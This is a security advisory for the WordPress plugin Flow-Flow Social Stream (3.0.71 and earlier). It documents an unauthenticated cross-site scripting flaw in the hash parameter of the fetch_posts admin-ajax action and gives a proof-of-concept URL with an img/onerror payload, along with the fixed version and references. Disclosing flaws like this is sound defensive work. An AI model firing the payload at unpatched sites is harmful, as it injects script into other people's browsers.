Flow-Flow Social Stream <= 3.0.71 - Unauthenticated Cross-Site Scripting (XSS)



Description
Cross-Site Scripting (XSS) vulnerability in the JSON output by modifying the hash parameter in admin-ajax.php using the fetch_posts action. Response Content-Type set to html.
Proof of Concept
http://www.example.com/wp-admin/admin-ajax.php?action=fetch_posts&stream-id=1&hash=%3Cimg%20src=x%20onerror=alert(1)%3E

Affects Plugin

fixed in version 3.0.72

References

URL https://plugins.trac.wordpress.org/changeset/1969236/flow-flow-social-streams

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher Alaistair Jerrom-Smith
Submitter Alaistair Jerrom-Smith
Submitter Website https://www.getrefined.com
Submitter Twitter @alaistair
Views 1446
Verified Yes
WPVDB ID 9142

Timeline

Publicly Published 2018-10-26 (26 days ago)
Added 2018-11-05 (15 days ago)
Last Updated 2018-11-09 (12 days ago)

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